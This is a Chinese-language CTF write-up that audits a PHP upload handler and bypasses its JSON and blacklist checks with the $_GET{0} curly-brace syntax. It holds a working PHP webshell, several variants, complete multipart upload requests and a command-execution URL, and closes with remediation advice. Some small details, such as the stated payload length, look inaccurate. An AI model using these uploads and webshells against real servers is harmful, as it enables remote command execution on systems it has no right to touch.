CTF 文件上传漏洞详解|PHP JSON 校验上传绕过全过程
一、前言
最近做一道 Pediy 平台的 CTF 文件上传题,源码审计发现题目采用 JSON 文件内容校验 + 黑名单字符过滤 的双重限制,初看防护严密,但黑名单过滤存在字符覆盖不全的问题。
利用黑名单未覆盖的特殊语法(如花括号
{}取参),可将 PHP 一句话木马直接写入data字段值,结合后端无后缀拦截,直接上传拿到 Webshell。
本文完整记录源码审计 → 漏洞分析 → Payload 构造 → 上传利用全流程。
二、题目源码
访问目标地址直接输出源码,完整代码如下:
php
<?php
if (isset($_FILES['file'])) {
$data = file_get_contents($_FILES['file']['tmp_name']);
$arr = json_decode($data, true, 2);
if (json_last_error() != JSON_ERROR_NONE) {
echo "JsonErr";
exit;
}
if (count($arr) != 1) {
echo "DataErr";
exit;
}
if (strlen($arr['data']) > 45) {
echo "Long";
exit;
}
if (preg_match("/[\[\]'^=\.;`]/", $arr['data'])) {
echo "no";
exit;
}
$name = time();
$filename = $_FILES['file']['name'];
$ext = strrchr($filename, '.');
echo "upload/" . $name . $ext;
move_uploaded_file($_FILES['file']['tmp_name'], "upload/" . $name . $ext);
} else {
highlight_file(__FILE__);
}
?>
三、逐行审计,梳理所有限制条件
1. 文件整体要求:必须是合法 JSON
- 读取上传临时文件全部内容,使用
json_decode解析,最大递归深度限制为 2; - JSON 解析失败直接输出
JsonErr终止程序; - JSON 解析后
count($arr)必须等于 1 ,否则输出DataErr。
⚠️ 这里
count($arr)作用于json_decode($data, true)返回的数组。对 JSON 对象{"data":"..."}来说,返回的是关联数组["data" => "..."],count统计键的个数为 1,满足条件。
2. data 字段多重过滤
后端提取 JSON 中 data 键对应的值做三层校验:
| 校验项 | 条件 | 触发报错 |
|---|---|---|
| 长度限制 | strlen($arr['data']) > 45 |
Long |
| 黑名单字符 | 正则 /[\[\]'^=\.;]/` 匹配 |
no |
黑名单字符一览:
[ ] ' ^ = . ; `
⚠️ 关键点 :花括号
{}、圆括号()、美元符$、下划线_、大于号>、小于号<均不在黑名单内。这意味着可以构造出合法的 PHP 代码。
3. 文件后缀存储逻辑
php
$ext = strrchr($filename, '.');
strrchr会截取文件名最后一个.之后的全部字符作为后缀;- 后端没有任何后缀拦截 ,文件名携带
.php即可生成可执行 PHP 脚本。
四、漏洞利用思路
绕过核心思路
代码过滤了 data 字段中的方括号 [],但未过滤花括号 {} 。PHP 中 $_GET{0} 等价于 $_GET[0],花括号语法可完美绕过正则黑名单。
直接构造一句话木马 <?php system($_GET{0})?>:
system--- 直接执行系统命令,无需写eval;$_GET{0}--- 花括号取参,绕过[]黑名单;- 无
.、;、'、^、````` 等黑名单字符。
可用 JSON Payload
json
{"data":"<?php system($_GET{0})?>"}
校验点核对:
| 校验项 | 计算结果 | 结果 |
|---|---|---|
count($arr) == 1 |
1 个键,count = 1 | ✅ 无 DataErr |
strlen($arr['data']) > 45 |
长度 26 < 45 | ✅ 无 Long |
| 黑名单字符检测 | 无 [ ] ' ^ = . ;`` 等字符 |
✅ 无 no |
| JSON 格式 | 标准合法对象,深度 1 | ✅ 无 JsonErr |
五、上传数据包构造
1. 文件准备
新建文件,填入下方 JSON 内容;文件名为 shell.php(关键:后缀为 php,后端保留后缀存储)。
json
{"data":"<?php system($_GET{0})?>"}
2. HTTP 上传请求包
http
POST / HTTP/1.1
Host: 8963317b-5f7c-4e1d-a100-4829028596bd.node.pediy.com:81/
Content-Type: multipart/form-data; boundary=----boundary123456
------boundary123456
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/json
{"data":"<?php system($_GET{0})?>"}
------boundary123456--
3. 上传成功回显
请求发送后页面会返回文件存储路径,示例:
upload/1782886123.php
六、Webshell 利用
访问返回的上传路径,通过 GET 参数 0 执行任意系统命令:
http://8963317b-5f7c-4e1d-a100-4829028596bd.node.pediy.com:81/upload/1782886123.php?0=cat /flag
页面会直接输出 flag 内容,完成解题。
PHP 中
system($_GET{0})将参数0的值作为系统命令执行,无需eval、无需分号。
七、更多可用 Payload 变种
除了核心 Payload,还可以利用未被黑名单覆盖的字符构造其他变种:
变种 1:使用 exec 函数
json
{"data":"<?php exec($_GET{0})?>"}
变种 2:使用 passthru 函数
json
{"data":"<?php passthru($_GET{0})?>"}
变种 3:短标签写法
json
{"data":"<?=system($_GET{0})?>"}
<?=是 PHP 短标签,等价于<?php echo,配合system输出命令结果。
变种 4:无闭合标签写法(单文件无需 ?>)
json
{"data":"<?php system($_GET{0})"}
变种 5:如果未来补了 {},可用字符串花括号替代
PHP 中 ${_GET}{0} 或 $_GET[0] 如果 [] 被禁则不可用,但花括号没被禁时 $_GET{0} 就是最简洁的方案。
八、黑名单字符绕过分析
正则黑名单
[\[\]'^=\.;`]
| 被禁字符 | 绕过方案 |
|---|---|
[ ] |
改用花括号 { } 取参,如 $_GET{0} |
' |
PHP 中函数名、超全局变量名不加引号,用 $_GET 而非 $_GET['key'] |
; |
语句末尾的 ?> 隐式包含分号效果;单条语句也可省略 |
= |
不使用赋值操作,直接传参执行 |
. |
不使用字符串拼接,避免出现 . |
^ ````` |
XOR 编码/反引号执行均被禁,但可用花括号+system 直接绕过,无需这些技巧 |
PHP 花括号语法说明
PHP 中访问数组元素支持两种语法:
php
$_GET[0] // 方括号,被黑名单拦截 ❌
$_GET{0} // 花括号,同样有效,未被黑名单覆盖 ✅
这是本题最核心的绕过技巧。
九、漏洞总结与修复建议
1. 漏洞成因
| 问题 | 说明 |
|---|---|
| 🚫 黑名单覆盖不全 | 花括号 {} 和 $ 等关键 PHP 语法字符未被过滤 |
| 🚫 无文件后缀拦截 | 未禁止 php、phtml 等脚本后缀 |
| 🚫 单次校验 | 仅上传时校验,存储后无二次内容检测 |
| 🚫 原样保存 | 直接保存用户上传文件,未清洗恶意代码 |
2. 服务端修复方案
- ✅ 黑名单补全 :增加
$、{、}、(、)、<、>、?等 PHP 语法字符过滤; - ✅ 白名单限制 文件后缀,仅允许 jpg/png/txt 等静态文件;
- ✅ 重命名后缀 上传文件强制改为静态格式;
- ✅ 二次检测 服务端检测文件内容,过滤
<?php等脚本标签; - ✅ 禁用执行权限 限制上传目录脚本执行权限,关闭 upload 目录 PHP 解析。
十、文末小结
本题属于典型黑名单式文件上传防护 ,虽然过滤了常见的方括号和敏感符号,但 花括号取参语法 $_GET{0} 完美绕过了正则检测,配合 system() 函数直接执行系统命令。
💡 CTF 经验总结 :遇到黑名单过滤的题目,除了常规思路(键名绕过、嵌套绕过),逐字符分析黑名单正则往往能找到最直接的绕过路径------本题只需一个合法的 JSON 对象,连数组包裹都不需要,最简单就是最优雅的。
附录:HackBar 完整实操步骤
方案一:浏览器上传抓包 → HackBar 重放(新手首选)
Step 1:打开目标页面
浏览器访问地址,页面会打印 PHP 源码,确认题目正常访问。
Step 2:构造本地上传文件
新建文本文档,写入下面 JSON 内容,重命名为 shell.php
json
{"data":"<?php system($_GET{0})?>"}
Step 3:抓普通上传数据包
- F12 打开开发者工具,网络面板勾选「保留日志」;
- 写一个简单 HTML 上传表单,本地打开:
html
<form action="http://8963317b-5f7c-4e1d-a100-4829028596bd.node.pediy.com:81/" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit">
</form>
- 选择
shell.php提交上传; - 网络面板找到 POST 请求,右键 → Copy Request → Copy to HackBar。
Step 4:HackBar 发送数据包拿上传路径
- 切换到 HackBar → POST 模式;
- 粘贴复制好的完整 multipart 数据包,无需修改;
- 点击 Execute 执行;
- 响应页面返回上传路径,示例:
upload/1789000000.php。
Step 5:HackBar 执行命令读取 flag
-
HackBar 切换为 GET 请求;
-
URL 填入上传后的地址,拼接
0参数:http://8963317b-5f7c-4e1d-a100-4829028596bd.node.pediy.com:81/upload/1789000000.php?0=cat /flag
-
Execute,页面直接输出 flag。
方案二:HackBar 手动构造 multipart 上传包
- HackBar 切换 POST,URL 填目标地址;
- 切换到 Raw 模式,粘贴完整数据包:
http
POST / HTTP/1.1
Host: 8963317b-5f7c-4e1d-a100-4829028596bd.node.pediy.com:81/
Content-Type: multipart/form-data; boundary=----abc123
----abc123
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/json
{"data":"<?php system($_GET{0})?>"}
----abc123--
- 点击 Execute 发送,获取 upload 路径;
- 切换 GET 访问上传文件执行命令。
常见踩坑解决
| 错误信息 | 原因 | 解决方案 |
|---|---|---|
JsonErr |
JSON 格式错误 / 递归深度超过 2 层 | 检查括号引号配对,确保深度 ≤ 2 |
DataErr |
count($arr) 不等于 1 |
JSON 对象只有 1 个键时才通过,别多加字段 |
no |
data 值包含黑名单字符 | 检查 ` ' ^ = . ; `` 是否出现在 payload 中 |
Long |
data 字符串超过 45 字符 | 本文 Payload 仅 26 字符,不应报此错 |
| 上传成功但无法执行 | 文件名后缀不是 .php |
确认文件名后缀为 php |
| 返回源码无上传路径 | HackBar 未用 Raw 模式 | 普通 POST 无法识别文件参数,走了 else 分支 |
| 访问页面显示 JSON 原文 | 服务器没解析 PHP | 检查是否上传了 .txt 而非 .php |
终极无报错 Payload 参考
首选 Payload(最简洁)
json
{"data":"<?php system($_GET{0})?>"}
最小化测试 Payload(先验证上传链路)
json
{"data":"helloworld"}
若最小化测试上传成功(返回
upload/xxx.php),说明传输、JSON 格式全部正常;再用首选 Payload 即可拿 Shell。